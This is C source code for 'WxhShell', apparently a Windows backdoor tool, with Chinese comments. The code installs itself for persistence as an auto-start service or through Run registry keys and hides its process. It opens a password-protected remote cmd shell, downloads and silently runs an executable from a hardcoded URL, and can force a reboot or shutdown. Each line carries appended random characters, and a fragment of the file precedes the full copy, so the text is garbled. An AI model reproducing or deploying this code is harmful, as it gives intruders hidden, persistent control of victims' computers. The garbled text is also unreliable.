    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gVy`||z  
    if(Boot(SHUTDOWN)) zbGZ\pz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z3=N= xY]  
    else { U3{4GmrT  
    closesocket(wsh); I$4>_D  
    ExitThread(0); )o-mM tPj  
    } %|1s9?h7\  
    break; KD\sU6  
    } Z9*@w`x^u  
  // 获取shell =-&h@mB;G  
  case 's': { tR2%oT>h  
    CmdShell(wsh); 2E`mbT,v&  
    closesocket(wsh); mNEh\4ai  
    ExitThread(0); `M(st%@n  
    break; c=QN!n:  
  } "@|rU4Y  
  // 退出 ReL+V  
  case 'x': { c-!3wvt)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MmePhHf  
    CloseIt(wsh); K4+|K:e  
    break; y y[Y=  
    } YpRhl(|  
  // 离开 y~wr4Q=  
  case 'q': { tkkh<5{C   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); da_0{;wR  
    closesocket(wsh); wA)n ryXV  
    WSACleanup(); M4CC&?6\  
    exit(1); (ss,x CF  
    break; Azp!;+  
        } "WO0 rh`  
  } Fs(S!;  
  } {`T^&b k  
H SGz-  
  // 提示信息 ez)Ks`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -YmIRocx  
} Zm7, O8  
  } WwWCN N~}  
X#K;(.},h  
  return; g+c%J#F=  
} w`3.wALb  
VZ y$0*  
// shell模块句柄 0PsQ 1[1  
int CmdShell(SOCKET sock) 9?~6{!m_9  
{ fny6`_O  
STARTUPINFO si; C5$?Y8B3  
ZeroMemory(&si,sizeof(si)); b!`Ze~V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t5u#[*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yF%e)6  
PROCESS_INFORMATION ProcessInfo; KrHKM3<  
char cmdline[]="cmd"; 7^mQfQv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +DR{aX/ll  
  return 0; m/(/!MVy  
} (TO<SY3AB  
g jzWW0C  
// 自身启动模式 XW@C_@*J  
int StartFromService(void) 'Ffvd{+:8  
{ v\qyDZVV  
typedef struct C3~~h|:  
{ RAws{<6T-  
  DWORD ExitStatus; VB T 66kV  
  DWORD PebBaseAddress; .tyV =B:h  
  DWORD AffinityMask; 51H6 W/$  
  DWORD BasePriority; m({ q<&]Qp  
  ULONG UniqueProcessId; k B4Fz  
  ULONG InheritedFromUniqueProcessId; L~by`q N_  
}   PROCESS_BASIC_INFORMATION; lA;^c)  
*yo'Nqu  
PROCNTQSIP NtQueryInformationProcess; N'$P( bx  
U5@B7v1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~ _tK.m3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T4gfQ6#  
 cz>)6#&O  
  HANDLE             hProcess; ggYi7Wzsd  
  PROCESS_BASIC_INFORMATION pbi; burSb:JF  
GC3d7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NLYf   
  if(NULL == hInst ) return 0; JP {`^c  
b`^?nD7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f~TkU\Rh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :?m"kh ~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oWi#?'  
1&7?f  
  if (!NtQueryInformationProcess) return 0; 7^UY%t  
l[m*csDk"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >r,z^]-  
  if(!hProcess) return 0; ,@ f|t&  
AeN:wOm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nU\.`.39 +  
>uQjygjj  
  CloseHandle(hProcess); {TMng&  
9L4;#cy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tx`^'%GMA  
if(hProcess==NULL) return 0; k]RQ 7e  
]~f-8!$$R  
HMODULE hMod; /l3Oi@\  
char procName[255]; ?:l:fS0:{  
unsigned long cbNeeded; H$Pf$D$  
CtD<% v3`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -ik((qx_  
`zl,|}u)  
  CloseHandle(hProcess); >qO l1]uF  
",,.xLI7  
if(strstr(procName,"services")) return 1; // 以服务启动 ;b=7m#5  
m] p]J_6A  
  return 0; // 注册表启动 2\+N<-(F5  
} DZb0'+jQ  
R3)ccom  
// 主模块 9:Bn-3)  
int StartWxhshell(LPSTR lpCmdLine) mRGr+m  
{ )qFqf<:yc  
  SOCKET wsl; w Bm4~ ~_  
BOOL val=TRUE; HTMo.hr  
  int port=0; {CVZ7tU7]  
  struct sockaddr_in door; Ag2Q!cq  
gf4Hq&Rf  
  if(wscfg.ws_autoins) Install(); ^%g 8OP  
$`t2SD  
port=atoi(lpCmdLine); d0zp89BEn  
gQY`qz  
if(port<=0) port=wscfg.ws_port; Tgi7RAY  
q$}J/w(,  
  WSADATA data; \X]I: 0^j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j"zW0g!S  
>Apa^Bp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [" ocZ? x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B/3xV:Gy  
  door.sin_family = AF_INET; Olt;^> MQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uz=9L<$  
  door.sin_port = htons(port); Zny9TP  
A4;~+L:M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .uN(44^+x  
closesocket(wsl); EF=5[$ u  
return 1; G[OJ <px  
} n}4q2x"  
2t{Tz}g*  
  if(listen(wsl,2) == INVALID_SOCKET) { [+}0K{(O=  
closesocket(wsl); 20J-VN:  
return 1; ']OT7)_  
} ]}]+aB  
  Wxhshell(wsl); Y[>`#RhP  
  WSACleanup(); mU||(;I  
N1vA>(2A  
return 0; .=hVto[QC  
I;, n|o  
} b1."mT!p  
0}9jl  
// 以NT服务方式启动 yRQNmR;Uy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k%s,(2)30  
{ #AO}JP  
DWORD   status = 0; v&f\ Jv7  
  DWORD   specificError = 0xfffffff; OsYZ a`$,  
sULsUt#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6_tl_O7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r.=.,R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I0^oaccM  
  serviceStatus.dwWin32ExitCode     = 0; N\CHIsVm>  
  serviceStatus.dwServiceSpecificExitCode = 0; xz +;1JAL3  
  serviceStatus.dwCheckPoint       = 0; l$W)Vk<B(T  
  serviceStatus.dwWaitHint       = 0; 'Ir   
a [f}-t9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,bB}lU)  
  if (hServiceStatusHandle==0) return; Uqly|FS &n  
!rG-[7K  
status = GetLastError(); rQPO+  
  if (status!=NO_ERROR) }C~9 ?Y  
{ ;^)4u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z 2$S'}F  
    serviceStatus.dwCheckPoint       = 0; 'P%&*%  
    serviceStatus.dwWaitHint       = 0; |Fq\%y#  
    serviceStatus.dwWin32ExitCode     = status; nwDGzC~y<  
    serviceStatus.dwServiceSpecificExitCode = specificError; sLK$H|%>m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &oFgZ.  
    return; 0 r;tI"  
  } I}]UQ4XJ  
]^@m $O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^j1G08W  
  serviceStatus.dwCheckPoint       = 0; O8LIKD_I[  
  serviceStatus.dwWaitHint       = 0; N)KN!!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ykGA.wo7/P  
} Qv8 =CnuOT  
Emk:@$3{r  
// 处理NT服务事件,比如:启动、停止 GAh\ 6ul  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }5B\:*yW  
{ O}6*9Xy  
switch(fdwControl) fA), ^  
{ 9*r l7  
case SERVICE_CONTROL_STOP: :n?rk/F  
  serviceStatus.dwWin32ExitCode = 0; 5R1? jlm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -"bC[WN  
  serviceStatus.dwCheckPoint   = 0; l o- 42)  
  serviceStatus.dwWaitHint     = 0; @ xTVX'$  
  { SkU9iW(k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TEC#owz  
  } @U =~ c9  
  return; t^~itlE{  
case SERVICE_CONTROL_PAUSE: P|;f>*^Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m;>:mwU  
  break; |HwEwL+  
case SERVICE_CONTROL_CONTINUE: Z07n>|WF-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +.xK`_[M  
  break; lKS 2OOYC`  
case SERVICE_CONTROL_INTERROGATE: 3u,B<  
  break; 9]I{GyH  
}; Q>L.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _gl1Qtv@rf  
} !'Hd:oD<  
LK>;\BRe?  
// 标准应用程序主函数 V2'5doo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &=wvlI52`  
{ =(v'8?--  
vxrqUjK7  
// 获取操作系统版本 l}D /1~d  
OsIsNt=GetOsVer(); 7~L_>7 ;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +IlQZwm~  
RE08\gNIt  
  // 从命令行安装 .P ??N  
  if(strpbrk(lpCmdLine,"iI")) Install(); oZi{v]4  
.(yJ+NU  
  // 下载执行文件 Lw<.QMN%f  
if(wscfg.ws_downexe) { 5>~D3?IAd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R pT7Nr  
  WinExec(wscfg.ws_filenam,SW_HIDE); | S'mF6Y  
} 4Wa*Pcj  
2{B ScI5K  
if(!OsIsNt) { :kd]n$]  
// 如果时win9x,隐藏进程并且设置为注册表启动 r5N H*\Q  
HideProc(); ff00s+  
StartWxhshell(lpCmdLine); !mUO/6Q hq  
} F;BCSoO4  
else  eAG)+b  
  if(StartFromService()) QI78/gT,d  
  // 以服务方式启动 F#.ph?W  
  StartServiceCtrlDispatcher(DispatchTable); {*K$gH$  
else |n~,{=  
  // 普通方式启动 sFsf~|  
  StartWxhshell(lpCmdLine); o1uM(  
r Cb#E}  
return 0; "w__AYHV  
} bc>&Qj2Z7c  
h,,B"vPS  
-x|!?u5F  
aDu[iaZ  
=========================================== Z EvK  
2HF`}H)H  
>B;KpO"+m  
F 6C7k9  
FOjX,@x&  
dEW= V"W  
" e&!8UYP  
Sf@xP.d  
#include <stdio.h> 6E.[F\u  
#include <string.h> Oz)/KZ  
#include <windows.h> RF~G{wz  
#include <winsock2.h> vJS}_j]_@  
#include <winsvc.h> Z$zX%w  
#include <urlmon.h> q$Ms7 `a  
>P//]nn  
#pragma comment (lib, "Ws2_32.lib") ab]Q1kD  
#pragma comment (lib, "urlmon.lib") {CNJlr@z  
@a,=ApS"  
#define MAX_USER   100 // 最大客户端连接数 ,Z}ST|$u  
#define BUF_SOCK   200 // sock buffer e>bARK<  
#define KEY_BUFF   255 // 输入 buffer q+cD  
(!YJ:,!so  
#define REBOOT     0   // 重启 "yj_v\@4  
#define SHUTDOWN   1   // 关机 *B9xL[}  
u! dx+vd  
#define DEF_PORT   5000 // 监听端口 ixE w!t  
qVH.I6)  
#define REG_LEN     16   // 注册表键长度 i'\-Y]?[  
#define SVC_LEN     80   // NT服务名长度 {JF"PAS7  
k4E9=y?  
// 从dll定义API 5fYWuc9}z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7PBE(d%m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YHMJ5IM@.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); afzx?ekdF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -  eIo  
mIqm/5  
// wxhshell配置信息 M9m~ck  
struct WSCFG { M^>l>?#rl  
  int ws_port;         // 监听端口 oJ`=ob4WDo  
  char ws_passstr[REG_LEN]; // 口令 V`HnFAW  
  int ws_autoins;       // 安装标记, 1=yes 0=no w~Nat7nD  
  char ws_regname[REG_LEN]; // 注册表键名 g,W34*7=Q  
  char ws_svcname[REG_LEN]; // 服务名 S.q0L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [x]~G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gsl_aW!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -=5~-72~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no leI ]zDk=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DiTpjk ]c`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z:es7<#y  
lnLy"f"zV  
}; ,np|KoG|M  
Lo5pn  
// default Wxhshell configuration \sfc!5G  
struct WSCFG wscfg={DEF_PORT, Gv}Q/v   
    "xuhuanlingzhe", FK94CI  
    1, p . P#S  
    "Wxhshell", *::.Uo4O  
    "Wxhshell", x%HxM~&  
            "WxhShell Service", Q"GM3?  
    "Wrsky Windows CmdShell Service", 5\w*W6y  
    "Please Input Your Password: ", 7YK6e  
  1, x$D^Bh,  
  "http://www.wrsky.com/wxhshell.exe", z;Fz3s7  
  "Wxhshell.exe" _ qwf3Q@  
    }; "Z;({a$v  
PHY!yc-LjV  
// 消息定义模块 u86PTp+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \8s:I+[HH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~TeOl|!lE+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5MD'AP:  
char *msg_ws_ext="\n\rExit."; MX7Ix{  
char *msg_ws_end="\n\rQuit."; ,J-|.ER->  
char *msg_ws_boot="\n\rReboot..."; !!)$?R;1  
char *msg_ws_poff="\n\rShutdown..."; !.q 9:|oc  
char *msg_ws_down="\n\rSave to "; `Syfl^9B  
h z{--  
char *msg_ws_err="\n\rErr!"; v+`'%E  
char *msg_ws_ok="\n\rOK!"; )pT5"{  
ccPWfy_  
char ExeFile[MAX_PATH]; jYFmL_{  
int nUser = 0; /h.{g0Xc  
HANDLE handles[MAX_USER]; 3 H5  
int OsIsNt; hsS&|7Pt  
+PI}$c-|`  
SERVICE_STATUS       serviceStatus; JtxVF !v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W*#5Sk  
Dm8fcD  
// 函数声明 ^blw\;LB  
int Install(void); js"5{w&  
int Uninstall(void); !Ko>   
int DownloadFile(char *sURL, SOCKET wsh); J:>o\%sF  
int Boot(int flag); c$L1aZo  
void HideProc(void); D15-pz|Q  
int GetOsVer(void); #\n* Qg4p  
int Wxhshell(SOCKET wsl); b7I0R; Zj  
void TalkWithClient(void *cs); jgG9?w)|u  
int CmdShell(SOCKET sock); {6:*c  
int StartFromService(void); qQG? k~r  
int StartWxhshell(LPSTR lpCmdLine); |UMm>.\'  
G)t-W %D&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -l[$+Kw1S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K<`Z@f3'w  
CM++:Y vJ  
// 数据结构和表定义 *?HoN;^  
SERVICE_TABLE_ENTRY DispatchTable[] = eI2HTFyT  
{ Wkjp:`(-$r  
{wscfg.ws_svcname, NTServiceMain}, ~+Pe=~a[  
{NULL, NULL} Tq?Ai_  
}; Og1vD5a  
-)')PV_+  
// 自我安装 =RRv& "2r  
int Install(void) EK"/4t{L_  
{ g0U?`;n$  
  char svExeFile[MAX_PATH]; =mZYBm,IQ  
  HKEY key; _8 0L/92  
  strcpy(svExeFile,ExeFile); x< 2]UB`  
42"nbJ  
// 如果是win9x系统,修改注册表设为自启动 ; YQB  
if(!OsIsNt) { M."/"hV`-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  4W*o:Y!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ``:[Jr &  
  RegCloseKey(key); EC[]L'IL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E7? n'!=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u^{p' a'  
  RegCloseKey(key); q mFbq<&  
  return 0; >Jx=k"Kv+  
    } Y3&,U  
  }  'F.P93  
} f)z(9JJL  
else { tm=,x~  
Q. O4R_H  
// 如果是NT以上系统,安装为系统服务 ~i?A!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !'F1Ht  
if (schSCManager!=0) b5^>QzgD  
{ O(8CrKYY  
  SC_HANDLE schService = CreateService np6G~0Y`  
  ( S!=R\_{u$  
  schSCManager, Zf!Q4a"  
  wscfg.ws_svcname, DH+kp$,}  
  wscfg.ws_svcdisp, FVrB#Hw~  
  SERVICE_ALL_ACCESS, l~]] RgU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nTr]NBR  
  SERVICE_AUTO_START, Q}lCQK/g  
  SERVICE_ERROR_NORMAL, w[gt9]}N  
  svExeFile, "%^_.Db>|  
  NULL, @XzfuuE]  
  NULL, o(Z~J}l({  
  NULL, [ R+M .5  
  NULL, jwE=  
  NULL qQ3Q4R\  
  ); !P EKMDh  
  if (schService!=0) h?SRX_  
  { l5 H5!$3~  
  CloseServiceHandle(schService); X0P +[.i  
  CloseServiceHandle(schSCManager); {*GBUv5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v(.mM9>  
  strcat(svExeFile,wscfg.ws_svcname); ,s 3|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GyQFR?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qX-5/;n  
  RegCloseKey(key); k $gcQ:|  
  return 0; @hg[v`~  
    } -kLBq :M  
  } 2ak]&ll+h  
  CloseServiceHandle(schSCManager); _yN5sLLyb  
} ff.k1%wr^  
} a}NB6E)-  
m-Jy 4f#  
return 1; f]%S FQ+  
} Y(7&3+'K  
v\?J=|S+  
// 自我卸载 ms}o[Z@n  
int Uninstall(void) #?S"y:  
{ ,S`n?.&& 7  
  HKEY key; t`Z3*?UqI  
|Sjy   
if(!OsIsNt) { 2H9hN4N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pI K:$eN!/  
  RegDeleteValue(key,wscfg.ws_regname); ?o+%ckH  
  RegCloseKey(key); Q}B]b-c+E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tUULpx.h  
  RegDeleteValue(key,wscfg.ws_regname); ]m 3cm  
  RegCloseKey(key); `H:`JBe=+[  
  return 0; )JTQZ,f3]  
  } +:jonN9d  
} (N&?Z]|yr  
} KM[0aXOtv  
else { @uRJl$3  
7=?!B#hm !  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fWEQ vQ  
if (schSCManager!=0) #b428-  
{ t6+W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MFa/%O_*  
  if (schService!=0) \)uA:v  
  { L{jx'[C  
  if(DeleteService(schService)!=0) { nm<VcCc  
  CloseServiceHandle(schService); =ZURh_{xV  
  CloseServiceHandle(schSCManager); F5x*#/af  
  return 0; P2jh[a%  
  } uQ_C<ii"W  
  CloseServiceHandle(schService); 1gBLJ0q  
  } IowXVdm@6  
  CloseServiceHandle(schSCManager); %(&ja_oO  
} %eofG]VM<  
} -DHzBq=H  
%Jh( 5  
return 1; ?'f  
} w`8H=Hf  
iupkb  
// 从指定url下载文件 HM)D/CO,?  
int DownloadFile(char *sURL, SOCKET wsh) @R`6j S_gK  
{ ?+ d{Rh) y  
  HRESULT hr; S{l)hwlE  
char seps[]= "/"; Z_bVCe{  
char *token; Iv 3O8 GU  
char *file; K!9K^h  
char myURL[MAX_PATH]; S[$9_Jf  
char myFILE[MAX_PATH]; j$_?g!I=gK  
EmO[-W|2  
strcpy(myURL,sURL); =TEe:%mN  
  token=strtok(myURL,seps); rz&V.,s  
  while(token!=NULL) 3t+{~{Dj  
  { XYP RMa?  
    file=token; {:"<E?+  
  token=strtok(NULL,seps); y>t:flD*  
  } N}VoO0I  
~),%w*L  
GetCurrentDirectory(MAX_PATH,myFILE); LvS5N)[  
strcat(myFILE, "\\"); AKjobA#  
strcat(myFILE, file); S)zw[m  
  send(wsh,myFILE,strlen(myFILE),0); T=pP  
send(wsh,"...",3,0); p<dw  C"z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "zNS6I?rzE  
  if(hr==S_OK) w{T$3F`@9  
return 0; 3 $%#n*  
else N e{=KdzT  
return 1; A3 TR'BFw-  
1WqCezI  
} :9 (kU  
PtUS7[]  
// 系统电源模块 'MYKAnZ-i  
int Boot(int flag) 1t/c@YUTy  
{ V+1c<LwT  
  HANDLE hToken; 0&NM=~  
  TOKEN_PRIVILEGES tkp; ;8vB7|54.  
<astIu Au  
  if(OsIsNt) { c%,ky$'18  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y{e,I-"{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {}'Jr1  
    tkp.PrivilegeCount = 1; lrHN6:x(Y4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -}T7F+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _Fj\0S"  
if(flag==REBOOT) { 7lF;(l^Z>}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ts[8;<YD  
  return 0; X(d:!-_m *  
} lgVT~v{U`n  
else { VWdTnu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (L4C1h_]9  
  return 0; YSB> WBS-<  
} C<:wSS^@1  
  } D6e?J.  
  else { ^=-25%&^  
if(flag==REBOOT) { F3!6}u\F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [m< jM[w{  
  return 0; R=R]0  
} EqD@o  
else { VrT-6r'Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dQH8s  
  return 0; Z[z" v  
} A`vRUl,c=  
} OBlQ   
?^-fivzS>  
return 1; :G9d,B7*  
} Tp~Qg{%Og  
H 9/m6F  
// win9x进程隐藏模块 z/5TYv)S  
void HideProc(void) I YptNR  
{ 'dQGb-<_<  
*hFJI9G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ""V\hHdp  
  if ( hKernel != NULL ) Xsb.xxK.  
  { H_Hr=_8}-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IwbV+mWQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ygfy;G%  
    FreeLibrary(hKernel); SJ8 ~:"\P  
  } 5A %TpJ  
o4rf[.z  
return; 0lqh;/  
} Rdj3dg'<  
I L&PN`#  
// 获取操作系统版本 0 >(hiT y<  
int GetOsVer(void) gHL:XW^  
{ 0Iyb}  
  OSVERSIONINFO winfo; ow,! 7|m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :%fnJg(  
  GetVersionEx(&winfo); :W-xsw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KxJDAP  
  return 1; b\NY!)B  
  else 2B6y1"B  
  return 0; 4 ;6,h6a  
} A i#~Eu*  
#cJ1Jj $  
// 客户端句柄模块 'OhGSs|  
int Wxhshell(SOCKET wsl) "[_gRe*2  
{ W$D:mw7  
  SOCKET wsh; (c3O> *M  
  struct sockaddr_in client; Xa U ^^K  
  DWORD myID; &xC5Mecb*  
}&l%>P  
  while(nUser<MAX_USER) {*F8'6YQ$  
{ e/)Vx'd`+  
  int nSize=sizeof(client); oBPm^ob4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PMj!T \B|  
  if(wsh==INVALID_SOCKET) return 1; JVx-4?  
[;C*9Nl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  </Dv?  
if(handles[nUser]==0) -OgC.6  
  closesocket(wsh); 2tp95E`(O  
else 9PR?'X;4  
  nUser++; 5G#2#Al(F  
  } %:-2P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I<&) P#"  
%wq;<'W  
  return 0; nG| NRp  
} E@@XWU21;N  
^7`gf  
// 关闭 socket ukee.:{  
void CloseIt(SOCKET wsh) YipL_&-  
{ t8#u}u  
closesocket(wsh); Cj6$W5I m  
nUser--; V9D>Xh!0H  
ExitThread(0); QyEoWKu;  
} {9./-  
$)j f  
// 客户端请求句柄 _/}/1/y$Y  
void TalkWithClient(void *cs) 0{47TX*YX  
{ 6oR5q 4  
K@!Gs'Op  
  SOCKET wsh=(SOCKET)cs; &UX:KW`=  
  char pwd[SVC_LEN]; yt`K^07@  
  char cmd[KEY_BUFF]; h}GzQry1  
char chr[1]; p}a0z?  
int i,j; x?G"58  
N MH'4R  
  while (nUser < MAX_USER) { %Wg8dy|  
ff 2`4_ ,|  
if(wscfg.ws_passstr) { SOJkeN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =D^R,Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  bR83N  
  //ZeroMemory(pwd,KEY_BUFF); s>e)\9c  
      i=0; rIAbr5CG  
  while(i<SVC_LEN) { [Pz['q L3t  
~d=Y98'xS  
  // 设置超时 {bO O?pp  
  fd_set FdRead; 03dmHg.E!E  
  struct timeval TimeOut; B5/"2i  
  FD_ZERO(&FdRead); y9Q.TL>=[  
  FD_SET(wsh,&FdRead); E Ks4N4k  
  TimeOut.tv_sec=8; t|}}#Z!I[f  
  TimeOut.tv_usec=0; "VQ7Y`,+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @A8@j%CK1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3|1v)E  
"|d# +C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \) g?mj^  
  pwd=chr[0]; y3@5~4+  
  if(chr[0]==0xd || chr[0]==0xa) { !,JV<( 7k  
  pwd=0; Pbl#ieZM  
  break; PI$K+}E  
  }  t'e5!Ma  
  i++; 8QFg6#"O  
    } h=MEQ-3jg  
V%[34G  
  // 如果是非法用户,关闭 socket %.  W56  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ix_&<?8  
} .%+y_.l  
v1\/dQK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ew*SA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c4(og|ifk  
XWq@47FR  
while(1) { `]wk)50BVp  
LHd9q ^D  
  ZeroMemory(cmd,KEY_BUFF); }5lC8{wZ  
K4Hu0  
      // 自动支持客户端 telnet标准   sc$I,|d2  
  j=0; #= @?)\~  
  while(j<KEY_BUFF) { E{{Kz r2$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U,7}VdO  
  cmd[j]=chr[0]; <^Jdl.G  
  if(chr[0]==0xa || chr[0]==0xd) { |?4NlB6  
  cmd[j]=0; -Rbv#Y  
  break; Nyl)B7/w  
  } Oz Axnd\.N  
  j++; 7(C:ty9  
    } 9G^gI}bY  
9i+`,r  
  // 下载文件 eR:C?v  
  if(strstr(cmd,"http://")) { c[a^fu!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); > - U+o.o  
  if(DownloadFile(cmd,wsh)) Ar'k6NX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0?O$->t  
  else >Xw0i\G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I*H($ a  
  } y'(a:.%I  
  else { L wn  
D qHJ *x4  
    switch(cmd[0]) { iAZbh"I  
